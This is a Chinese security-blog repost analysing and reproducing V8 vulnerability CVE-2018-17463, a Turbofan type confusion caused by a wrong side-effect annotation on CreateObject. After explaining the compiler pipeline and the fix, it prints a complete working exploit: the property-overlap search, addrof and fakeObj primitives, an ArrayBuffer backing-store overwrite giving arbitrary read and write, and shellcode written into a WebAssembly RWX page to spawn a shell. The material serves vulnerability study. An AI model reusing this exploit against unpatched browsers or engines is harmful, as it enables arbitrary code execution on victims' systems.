V8漏洞CVE-2018-17463分析与复现

admin 2023年11月24日00:37:01评论4 views字数 19731阅读65分46秒阅读模式

 扫码领资料

获网安教程

免费&进群

V8漏洞CVE-2018-17463分析与复现
V8漏洞CVE-2018-17463分析与复现

最近在学习V8的compiler pipeline,CVE-2018-17463是一个很好的学习例子,该漏洞是由于V8在编译优化过程中消除检查节点造成的类型混淆错误,最终可造成任意代码执行。因为是第一次复现真实的V8漏洞,查阅了很多文档和博客,算是一个比较初学者视角的学习笔记。

Compiler Pipeline简介

V8的整个compiler pipeline可以用下图表示,一段JS代码首先被转换成AST,然后在Ignition中解析并转换成V8的字节码,当字节码在执行JS函数的过程中,会收集profiling和feedback数据,这些信息会被Turbofan用来优化生成机器码。

Ignition

Ignition是V8引擎的解释器,这个阶段旨在快速启动执行JS代码,通过解释器直接执行字节码,它并不产生机器代码。它具有以下的功能和特点:

  • 字节码生成: Ignition将JavaScript源代码解析为字节码,这是一种更加紧凑和机器友好的中间表示。字节码是一组高度优化的指令序列,更易于解释器执行。

  • 解释执行: Ignition的主要任务是解释执行字节码。通过直接执行字节码,Ignition能够快速启动JavaScript应用程序,而无需等待完整的编译过程。

  • 快速启动和执行: 为了提高启动速度,Ignition专注于快速执行,避免了一些传统解释器执行源代码时的性能瓶颈。这使得V8引擎能够在用户启动网页或执行简单命令时迅速响应。

Sparkplug

在CVE-2018-17463这一版本中并没有这一阶段,Sparkplug是在V8 9.1版本中引入的非优化JS编译器,它位于Ignition和Turbofan之间,用于产生未经优化的机器码。
引入Sparkplug的原因非常简单,因为Ignition的性能达到了一个瓶颈,对于字节码的解释执行永远无法摆脱字节码解码等开销,而Turbofan的优化需要收集足够的运行时反馈信息,否则无法获取稳定的object shape,因此无法更早地进行优化。
Sparkplug具有以下的功能和特点:

  • 快速编译: Sparkplug的设计目标之一是实现快速编译。它使用一些巧妙的技巧,如在字节码已经生成的基础上进行编译,避免了一些复杂的工作。

  • 直接生成机器码: Sparkplug直接在字节码上执行线性通道生成机器代码。这种方法减少了编译器的优化机会,但使得代码易于移植,而且由于后续流水线中有强大的优化编译器(TurboFan),这并不成问题。

  • 解释器兼容栈帧: 引入新编译器到已有的JS虚拟机中是一项艰巨的任务。为了解决这个问题,Sparkplug保持了“解释器兼容栈帧”,与Ignition解释器的栈帧结构基本一致,使得在整个系统中的集成变得简单。

Turbofan

Turbofan是V8引擎的最终优化编译器,负责将IR转换为高度优化的机器代码。在这个阶段,V8会根据程序的执行情况应用更复杂的优化策略,包括内联缓存、类型推断、循环优化等。Turbofan生成的机器代码是高度优化的,以提供最佳的性能。但是,由于优化的程度很高,在这一阶段很容易产生错误。CVE-2018-17463就是由于在优化过程中操作的side effect判断不正确,造成了类型混淆错误。

漏洞信息

查看# Issue 888923,我们可以看到该问题的初始修复补丁是通过提交52a9e67a477bdb67ca893c25c145ef5191976220推送的,提交信息为“[turbofan] Fix ObjectCreate's side effect annotation.”。有了这个信息,可以使用git show命令来查看该commit修复了什么。

commit 52a9e67a477bdb67ca893c25c145ef5191976220  
Author: Jaroslav Sevcik <jarin@chromium.org>
Date: Wed Sep 26 13:23:47 2018 +0200

[turbofan] Fix ObjectCreate's side effect annotation.

Bug: chromium:888923
Change-Id: Ifb22cd9b34f53de3cf6e47cd92f3c0abeb10ac79
Reviewed-on: https://chromium-review.googlesource.com/1245763
Reviewed-by: Benedikt Meurer <bmeurer@chromium.org>
Commit-Queue: Jaroslav Sevcik <jarin@chromium.org>
Cr-Commit-Position: refs/heads/master@{#56236}

diff --git a/src/compiler/js-operator.cc b/src/compiler/js-operator.cc
index 94b018c987d..5ed3f74e075 100644
--- a/src/compiler/js-operator.cc
+++ b/src/compiler/js-operator.cc
@@ -622,7 +622,7 @@ CompareOperationHint CompareOperationHintOf(const Operator* op) {
V(CreateKeyValueArray, Operator::kEliminatable, 2, 1)
V(CreatePromise, Operator::kEliminatable, 0, 1)
V(CreateTypedArray, Operator::kNoProperties, 5, 1)
- V(CreateObject, Operator::kNoWrite, 1, 1)
+ V(CreateObject, Operator::kNoProperties, 1, 1)
V(ObjectIsArray, Operator::kNoProperties, 1, 1)
V(HasProperty, Operator::kNoProperties, 2, 1)
V(HasInPrototypeChain, Operator::kNoProperties, 2, 1)
diff --git a/test/mjsunit/compiler/regress-888923.js b/test/mjsunit/compiler/regress-888923.js
new file mode 100644
index 00000000000..e352673b7d9
--- /dev/null
+++ b/test/mjsunit/compiler/regress-888923.js
@@ -0,0 +1,31 @@
+// Copyright 2018 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax
+
+(function() {
+ function f(o) {
+ o.x;
+ Object.create(o);
+ return o.y.a;
+ }
+
+ f({ x : 0, y : { a : 1 } });
+ f({ x : 0, y : { a : 2 } });
+ %OptimizeFunctionOnNextCall(f);
+ assertEquals(3, f({ x : 0, y : { a : 3 } }));
+})();
+
+(function() {
+ function f(o) {
+ let a = o.y;
+ Object.create(o);
+ return o.x + a;
+ }
+
+ f({ x : 42, y : 21 });
+ f({ x : 42, y : 21 });
+ %OptimizeFunctionOnNextCall(f);
+ assertEquals(63, f({ x : 42, y : 21 }));
+})();

可以大致了解这一漏洞为何产生,如何触发,这个放在后面去分析。首先需要将代码切换到未修复这一bug的版本,使用git log 52a9e67a477bdb67ca893c25c145ef5191976220查看commit信息。

commit 52a9e67a477bdb67ca893c25c145ef5191976220  
Author: Jaroslav Sevcik <jarin@chromium.org>
Date: Wed Sep 26 13:23:47 2018 +0200

[turbofan] Fix ObjectCreate's side effect annotation.

Bug: chromium:888923
Change-Id: Ifb22cd9b34f53de3cf6e47cd92f3c0abeb10ac79
Reviewed-on: https://chromium-review.googlesource.com/1245763
Reviewed-by: Benedikt Meurer <bmeurer@chromium.org>
Commit-Queue: Jaroslav Sevcik <jarin@chromium.org>
Cr-Commit-Position: refs/heads/master@{#56236}

commit 568979f4d891bafec875fab20f608ff9392f4f29
Author: Toon Verwaest <verwaest@chromium.org>
Date: Wed Sep 26 12:38:28 2018 +0200

[parser] Fix memory accounting of explicitly cleared zones

Bug: chromium:889086
Change-Id: Ie5a6a9e27260545469ea62d35b9571c0524f0f92
Reviewed-on: https://chromium-review.googlesource.com/1245427
Reviewed-by: Marja Hölttä <marja@chromium.org>
Commit-Queue: Toon Verwaest <verwaest@chromium.org>
Cr-Commit-Position: refs/heads/master@{#56235}

可以看到包含这一漏洞的最后一个commit是568979f4d891bafec875fab20f608ff9392f4f29,使用git checkout命令切换到这一commit。

漏洞分析

通过仔细分析漏洞的patch,可以发现漏洞存在于src/compiler/js-operator.cc中。在这里,代码定义了许多标识,实际上只进行了一处修改,就是将CreateObject的标志从kNoWrite变成kNoProperties

-  V(CreateObject, Operator::kNoWrite, 1, 1)                              
+ V(CreateObject, Operator::kNoProperties, 1, 1)

这些标志位的定义在src中,是一个枚举类。

enum Property {
kNoProperties = 0,
kCommutative = 1 << 0, // OP(a, b) == OP(b, a) for all inputs.
kAssociative = 1 << 1, // OP(a, OP(b,c)) == OP(OP(a,b), c) for all inputs.
kIdempotent = 1 << 2, // OP(a); OP(a) == OP(a).
kNoRead = 1 << 3, // Has no scheduling dependency on Effects
kNoWrite = 1 << 4, // Does not modify any Effects and thereby
// create new scheduling dependencies.
kNoThrow = 1 << 5, // Can never generate an exception.
kNoDeopt = 1 << 6, // Can never generate an eager deoptimization exit.
kFoldable = kNoRead | kNoWrite,
kKontrol = kNoDeopt | kFoldable | kNoThrow,
kEliminatable = kNoDeopt | kNoWrite | kNoThrow,
kPure = kNoDeopt | kNoRead | kNoWrite | kNoThrow | kIdempotent
};

可以看出kNoWrite表示一个操作并不产生任何side effects,很容易猜到,CreateObject应当是产生了一定的side effect。通过调试可以发现在Map::CopyNormalized函数中,使用set_is_dictionary_map(true)将新生成的map设定为dictionary模式。修改commit中给出的poc做一个调试和验证。

function f(o) {
let a = o.y;
Object.create(o);
return o.x + a;
}

let obj = {x: 42, y: 21};
%DebugPrint(obj);
f(obj);
%DebugPrint(obj);

在执行f前后输出obj信息,执行输出结果如下。

$ ./d8 --allow-natives-syntax poc.js  
DebugPrint: 0x1909d7a8e599: [JS_OBJECT_TYPE]
- map: 0x0a49d638c9d1 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x1c4b472046d9 <Object map = 0xa49d63822f1>
- elements: 0x20bfb0802cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x20bfb0802cf1 <FixedArray[0]> {
#x: 42 (data field 0)
#y: 21 (data field 1)
}
0xa49d638c9d1: [Map]
- type: JS_OBJECT_TYPE
- instance size: 40
- inobject properties: 2
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x0a49d638c981 <Map(HOLEY_ELEMENTS)>
- prototype_validity cell: 0x07f205882201 <Cell value= 1>
- instance descriptors (own) #2: 0x1909d7a8e2a1 <DescriptorArray[8]>
- layout descriptor: (nil)
- prototype: 0x1c4b472046d9 <Object map = 0xa49d63822f1>
- constructor: 0x1c4b47204711 <JSFunction Object (sfi = 0x7f20588f991)>
- dependent code: 0x20bfb0802391 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0

DebugPrint: 0x1909d7a8e599: [JS_OBJECT_TYPE]
- map: 0x0a49d638cca1 <Map(HOLEY_ELEMENTS)> [DictionaryProperties]
- prototype: 0x1c4b472046d9 <Object map = 0xa49d63822f1>
- elements: 0x20bfb0802cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x1909d7a8e5f1 <NameDictionary[29]> {
#y: 21 (data, dict_index: 2, attrs: [WEC])
#x: 42 (data, dict_index: 1, attrs: [WEC])
}
0xa49d638cca1: [Map]
- type: JS_OBJECT_TYPE
- instance size: 40
- inobject properties: 2
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- dictionary_map
- may_have_interesting_symbols walkthrough://vscode_getting_started_page
- prototype_map
- prototype info: 0x1c4b47223811 <PrototypeInfo>
- prototype_validity cell: 0x07f205882201 <Cell value= 1>
- instance descriptors (own) #0: 0x20bfb0802321 <DescriptorArray[2]>
- layout descriptor: (nil)
- prototype: 0x1c4b472046d9 <Object map = 0xa49d63822f1>
- constructor: 0x1c4b47204711 <JSFunction Object (sfi = 0x7f20588f991)>
- dependent code: 0x20bfb0802391 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0

可以看到,在执行之前,map的类型为FastProperties,但是在执行之后map的类型是DictionaryProperties。如果f经过Turbofan的优化,只保留了第一次的CheckMaps,则会导致后一次程序使用fast mode去寻找dictionary mode中的元素,产生错误。再次修改poc,并观察Turbofan的优化过程。

function vuln(obj) {
obj.a;
Object.create(obj)
return obj.b;
}

vuln({a:42, b:43});
vuln({a:42, b:43});
%OptimizeFunctionOnNextCall(vuln);
vuln({a:42, b:43});

首先查看初始的IR图,在每一次LoadField之前都进行了CheckMaps操作。

由于CreateObject被定义为不写入副作用链,因此消除了冗余,CheckMaps节点应该不再存在。正如下图所示的simplified lowering阶段,在调用JSCreateObject之后的CheckMaps节点已被删除,直接调用LoadField节点。

不过在利用时,需要大量循环来调用这一函数来触发Turbofan的优化。

漏洞利用

现在我们有了一个可以工作的Type Confusion漏洞,该漏洞会导致V8将Dictionary当作数组访问,从而允许我们操纵对象内存布局中的函数指针和数据,但是利用的过程十分繁琐。
经过前面的分析,我们有办法可以让函数中多余的CheckMaps节点消失,并且能够通过CreateObject改变Properties,则很容易可以构造一种非预期情况。首先构造一个obj,初始化时赋予属性a,然后增加属性b,函数中首先访问a,通过类型检查,然后读取x.b,由于没有类型检查,此时返回一个与原b属性偏移相同的数据,但由于Properties发生变化,返回的数据不会再是b属性的值。
想要稳定利用这一漏洞,一个很大的问题在于,Dictionary内部的内存布局是随机的,不过在V8中有一规律,相同属性的obj,在Dictionary中各属性的偏移也相同。根据这一规律,我们可以使用同样的构造方式来构造具有相同属性的不同obj,来满足不同的需求。

Property Overlapping

根据上面的分析,利用这一漏洞时,访问属性b时会访问到一个其他的元素。我们可以利用这种property overlapping,实现类型混淆。如属性b是一个Number类型,而另一个属性是一个Object类型,访问属性b会以Number的方式读出Object的地址,造成地址泄露。如果想要控制泄露的Object,就需要知道另一个属性是什么。
下面是一种比较简单常用的方法,按照一定的规律进行赋值,如属性bi的值定义为-i,然后依次读取,如果读出的值与原值不同,则可以根据读出的值找到最终读出的是哪一个属性的值。

function getObj(values) {
let obj = { a: 1234 };
for (let i = 0; i < 32; i++) {
Object.defineProperty(obj, 'b' + i, {
writable: true,
value: values[i]
});
}
return obj;
}

let p1, p2;

function findOverlapping() {
let names = [];
for (let i = 0; i < 32; i++) {
names[i] = 'b' + i;
}

eval(`
function vuln(obj) {
obj.a;
this.Object.create(obj);
${names.map((b) => `let ${b} = obj.${b};`).join('n')}
return [${names.join(', ')}];
}
`)

let values = [];
for (let i = 1; i < 32; i++) {
values[i] = -i;
}

for (let i = 0; i < 10000; i++) {
let res = vuln(getObj(values));
for (let i = 1; i < res.length; i++) {
if (i !== -res[i] && res[i] < 0 && res[i] > -32) {
[p1, p2] = [i, -res[i]];
return;
}
}
}
throw "[!] Failed to find overlapping";
}

print("step 1: check whether vulnerability exists");
check_vul();
print("[+] Finding Overlapping Properties...");
findOverlapping();
print(`[+] Properties b${p1} and p${p2} overlap!`);

很容易可以找到我们需要的两个属性。

[+] Finding Overlapping Properties...  
[+] Properties b12 and b21 overlap!

Addr Of

Addrof是一个在V8利用中很常见的原语,用来泄露一个obj的地址。当我们有类型混淆漏洞时,这个原语的实现就十分简单,在前面也介绍过。我们将上一步中得到的第一个属性记为p1,第二个属性记为p2,由于对p1的访问实际上是对p2内容的访问,设置属性p1Number,属性p2为想要泄露地址的Object obj,通过读取p1就可以读取出obj的地址。

function addrof(obj) {
eval(`
function vuln(obj) {
obj.a;
this.Object.create(obj);
return obj.b${p1}.x1;
}
`);


let values = [];
values[p1] = { x1: 1.1, x2: 1.2 };
values[p2] = { y: obj };

for (let i = 0; i < 10000; i++) {
let res = vuln(getObj(values));
if (res != 1.1) {
print(`[+] Object Address: ${Int64.fromDouble(res).toString()}`);
return res;
}
}
throw "[!] AddrOf Primitive Failed"
}

上面的代码中,vuln函数访问了p1x1,在产生优化之后,会访问到p2y也就是obj,从而以浮点数返回obj的地址。

Arbitrary Write

同样,我们可以构造一个Object,如下面的o,其中的各个属性均为Number

let o = { x1: 1.1, x2: 1.2 };
values[p1] = o;
values[p2] = obj;

我们对p1中的x1x2进行写入时,实际上会写入obj中的对应位置。这里有一个非常常用的结构ArrayBuffer,其中的backing_store字段存放了一个内存地址,该地址是实际读写时的地址。如果能够修改该地址为任意地址,则可以利用这一ArrayBuffer达到任意地址读写的效果。
通过调试很容易发现,backing_storex2的偏移相同,因此对x2进行修改能够达到修改backing_store的作用,进而可以控制ArrayBuffer任意地址读写。

function fakeObj(obj, addr) {
eval(`
function vuln(obj) {
obj.a;
this.Object.create(obj);
let orig = obj.b${p1}.x2;
obj.b${p1}.x2 = ${addr};
return orig;
}
`);

let values = [];
let o = { x1: 1.1, x2: 1.2 };
values[p1] = o;
values[p2] = obj;

for (let i = 0; i < 10000; i++) {
o.x2 = 1.2;
let res = vuln(getObj(values));
if (res != 1.2) {
return res;
}
}
throw "[!] fakeObj Primitive Failed"
}

Get Shell

Get shell的方法比较常规,通过wasm分配一块可读写可执行的内存,然后通过间接寻址找到这一内存,在这一版本中wasmInstance偏移0xf0处即为该地址。通过任意地址读写讲shellcode写入,通过调用wasm中的函数执行写入的shellcode。

var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
let mem = new ArrayBuffer(1024);
let dv = new DataView(mem);
let addr = addrof(wasmInstance);
fakeObj(mem, addr);
let code_addr = Int64.fromDouble(dv.getFloat64(0xf0 - 1, true));
print("rwx addr", code_addr);
fakeObj(mem, code_addr.asDouble());
let shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
let data_view = new DataView(mem);
for (let i = 0; i < 3; i++)
data_view.setBigUint64(8 * i, shellcode[i], true);
f();

exp

完整的exp如下,前面的板子来自这里。

function gc() {
/*fill-up the 1MB semi-space page, force V8 to scavenge NewSpace.*/
for (var i = 0; i < ((1024 * 1024) / 0x10); i++) {
var a = new String();
}
}

function give_me_a_clean_newspace() {
/*force V8 to scavenge NewSpace twice to get a clean NewSpace.*/
gc()
gc()
}

let floatView = new Float64Array(1);
let uint64View = new BigUint64Array(floatView.buffer);

Number.prototype.toBigInt = function toBigInt() {
floatView[0] = this;
return uint64View[0];
};

BigInt.prototype.toNumber = function toNumber() {
uint64View[0] = this;
return floatView[0];
};

function hex(b) {
return ('0' + b.toString(16)).substr(-2);
}

// Return the hexadecimal representation of the given byte array.
function hexlify(bytes) {
var res = [];
for (var i = 0; i < bytes.length; i++)
res.push(hex(bytes[i]));
return res.join('');
}

// Return the binary data represented by the given hexdecimal string.
function unhexlify(hexstr) {
if (hexstr.length % 2 == 1)
throw new TypeError("Invalid hex string");
var bytes = new Uint8Array(hexstr.length / 2);
for (var i = 0; i < hexstr.length; i += 2)
bytes[i / 2] = parseInt(hexstr.substr(i, 2), 16);
return bytes;
}

function hexdump(data) {
if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
data = Array.from(data);
var lines = [];
for (var i = 0; i < data.length; i += 16) {
var chunk = data.slice(i, i + 16);
var parts = chunk.map(hex);
if (parts.length > 8)
parts.splice(8, 0, ' ');
lines.push(parts.join(' '));
}
return lines.join('n');
}

// Simplified version of the similarly named python module.
var Struct = (function () {
// Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
var buffer = new ArrayBuffer(8);
var byteView = new Uint8Array(buffer);
var uint32View = new Uint32Array(buffer);
var float64View = new Float64Array(buffer);
return {
pack: function (type, value) {
var view = type; // See below
view[0] = value;
return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
},
unpack: function (type, bytes) {
if (bytes.length !== type.BYTES_PER_ELEMENT)
throw Error("Invalid bytearray");
var view = type; // See below
byteView.set(bytes);
return view[0];
},
// Available types.
int8: byteView,
int32: uint32View,
float64: float64View
};
})();
//
// Tiny module that provides big (64bit) integers.
//
// Copyright (c) 2016 Samuel Groß
//
// Requires utils.js
//
// Datatype to represent 64-bit integers.
//
// Internally, the integer is stored as a Uint8Array in little endian byte order.
function Int64(v) {
// The underlying byte array.
var bytes = new Uint8Array(8);
switch (typeof v) {
case 'number':
v = '0x' + Math.floor(v).toString(16);
case 'string':
if (v.startsWith('0x'))
v = v.substr(2);
if (v.length % 2 == 1)
v = '0' + v;
var bigEndian = unhexlify(v, 8);
bytes.set(Array.from(bigEndian).reverse());
break;
case 'object':
if (v instanceof Int64) {
bytes.set(v.bytes());
} else {
if (v.length != 8)
throw TypeError("Array must have excactly 8 elements.");
bytes.set(v);
}
break;
case 'undefined':
break;
default:
throw TypeError("Int64 constructor requires an argument.");
}
// Return a double whith the same underlying bit representation.
this.asDouble = function () {
// Check for NaN
if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
throw new RangeError("Integer can not be represented by a double");
return Struct.unpack(Struct.float64, bytes);
};
// Return a javascript value with the same underlying bit representation.
// This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
// due to double conversion constraints.
this.asJSValue = function () {
if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
throw new RangeError("Integer can not be represented by a JSValue");
// For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
this.assignSub(this, 0x1000000000000);
var res = Struct.unpack(Struct.float64, bytes);
this.assignAdd(this, 0x1000000000000);
return res;
};
// Return the underlying bytes of this number as array.
this.bytes = function () {
return Array.from(bytes);
};
// Return the byte at the given index.
this.byteAt = function (i) {
return bytes[i];
};
// Return the value of this number as unsigned hex string.
this.toString = function () {
return '0x' + hexlify(Array.from(bytes).reverse());
};
// Basic arithmetic.
// These functions assign the result of the computation to their 'this' object.
// Decorator for Int64 instance operations. Takes care
// of converting arguments to Int64 instances if required.
function operation(f, nargs) {
return function () {
if (arguments.length != nargs)
throw Error("Not enough arguments for function " + f.name);
for (var i = 0; i < arguments.length; i++)
if (!(arguments[i] instanceof Int64))
arguments[i] = new Int64(arguments[i]);
return f.apply(this, arguments);
};
}

// this = -n (two's complement)
this.assignNeg = operation(function neg(n) {
for (var i = 0; i < 8; i++)
bytes[i] = ~n.byteAt(i);
return this.assignAdd(this, Int64.One);
}, 1);
// this = a + b
this.assignAdd = operation(function add(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) + b.byteAt(i) + carry;
carry = cur > 0xff | 0;
bytes[i] = cur;
}
return this;
}, 2);
// this = a - b
this.assignSub = operation(function sub(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) - b.byteAt(i) - carry;
carry = cur < 0 | 0;
bytes[i] = cur;
}
return this;
}, 2);
}

// Constructs a new Int64 instance with the same bit representation as the provided double.
Int64.fromDouble = function (d) {
var bytes = Struct.pack(Struct.float64, d);
return new Int64(bytes);
};
// Convenience functions. These allocate a new Int64 to hold the result.
// Return -n (two's complement)
function Neg(n) {
return (new Int64()).assignNeg(n);
}

// Return a + b
function Add(a, b) {
return (new Int64()).assignAdd(a, b);
}

// Return a - b
function Sub(a, b) {
return (new Int64()).assignSub(a, b);
}

// Some commonly used numbers.
Int64.Zero = new Int64(0);
Int64.One = new Int64(1);

function utf8ToString(h, p) {
let s = "";
for (i = p; h[i]; i++) {
s += String.fromCharCode(h[i]);
}
return s;
}

function log(x, y = ' ') {
print("[+] log:", x, y);
}

// =================== //
// Start here! //
// =================== //

function check_vul() {
function vuln(x) {
x.a;
Object.create(x);
return x.b;

}

for (let i = 0; i < 10000; i++) {
let x = { a: 0x1234 };
x.b = 0x5678;
let res = vuln(x);
if (res != 0x5678) {
log("CVE-2018-17463 exists in the d8");
return;
}

}
throw "bad d8 version";

}

function getObj(values) {
let obj = { a: 1234 };
for (let i = 0; i < 32; i++) {
Object.defineProperty(obj, 'b' + i, {
writable: true,
value: values[i]
});
}
return obj;
}

let p1, p2;

function findOverlapping() {
let names = [];
for (let i = 0; i < 32; i++) {
names[i] = 'b' + i;
}

eval(`
function vuln(obj) {
obj.a;
this.Object.create(obj);
${names.map((b) => `let ${b} = obj.${b};`).join('n')}
return [${names.join(', ')}];
}
`)

let values = [];
for (let i = 1; i < 32; i++) {
values[i] = -i;
}

for (let i = 0; i < 10000; i++) {
let res = vuln(getObj(values));
for (let i = 1; i < res.length; i++) {
if (i !== -res[i] && res[i] < 0 && res[i] > -32) {
[p1, p2] = [i, -res[i]];
return;
}
}
}
throw "[!] Failed to find overlapping";
}

function addrof(obj) {
eval(`
function vuln(obj) {
obj.a;
this.Object.create(obj);
return obj.b${p1}.x1;
}
`);


let values = [];
values[p1] = { x1: 1.1, x2: 1.2 };
values[p2] = { y: obj };

for (let i = 0; i < 10000; i++) {
let res = vuln(getObj(values));
if (res != 1.1) {
print(`[+] Object Address: ${Int64.fromDouble(res).toString()}`);
return res;
}
}
throw "[!] AddrOf Primitive Failed"
}

function fakeObj(obj, addr) {
eval(`
function vuln(obj) {
obj.a;
this.Object.create(obj);
let orig = obj.b${p1}.x2;
obj.b${p1}.x2 = ${addr};
return orig;
}
`);

let values = [];
let o = { x1: 1.1, x2: 1.2 };
values[p1] = o;
values[p2] = obj;

for (let i = 0; i < 10000; i++) {
o.x2 = 1.2;
let res = vuln(getObj(values));
if (res != 1.2) {
return res;
}
}
throw "[!] fakeObj Primitive Failed"
}

var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
print("[+] check whether vulnerability exists");
check_vul();
print("[+] Finding Overlapping Properties...");
findOverlapping();
print(`[+] Properties b${p1} and b${p2} overlap!`);
let mem = new ArrayBuffer(1024);
let dv = new DataView(mem);
give_me_a_clean_newspace();
print("[+] get address of RWX Page");
let addr = addrof(wasmInstance);
fakeObj(mem, addr);
let code_addr = Int64.fromDouble(dv.getFloat64(0xf0 - 1, true));
print(`[+] rwx addr: ${code_addr}`);
fakeObj(mem, code_addr.asDouble());
print("[+] write shellcode");
let shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
let data_view = new DataView(mem);
for (let i = 0; i < 3; i++)
data_view.setBigUint64(8 * i, shellcode[i], true);
print("[+] GetShell");
f();

exp运行结果如下图,因为有大量循环,所以运行稍慢。

来源: https://xz.aliyun.com/t/13075

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

@

学习更多渗透技能!体验靶场实战练习

V8漏洞CVE-2018-17463分析与复现

hack视频资料及工具

V8漏洞CVE-2018-17463分析与复现

(部分展示)

往期推荐

【精选】SRC快速入门+上分小秘籍+实战指南

爬取免费代理,拥有自己的代理池

漏洞挖掘|密码找回中的套路

渗透测试岗位面试题(重点:渗透思路)

漏洞挖掘 | 通用型漏洞挖掘思路技巧

干货|列了几种均能过安全狗的方法!

一名大学生的黑客成长史到入狱的自述

攻防演练|红队手段之将蓝队逼到关站!

巧用FOFA挖到你的第一个漏洞

看到这里了,点个“赞”、“再看”吧

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月24日00:37:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   V8漏洞CVE-2018-17463分析与复现https://cn-sec.com/archives/2232361.html

发表评论

匿名网友 填写信息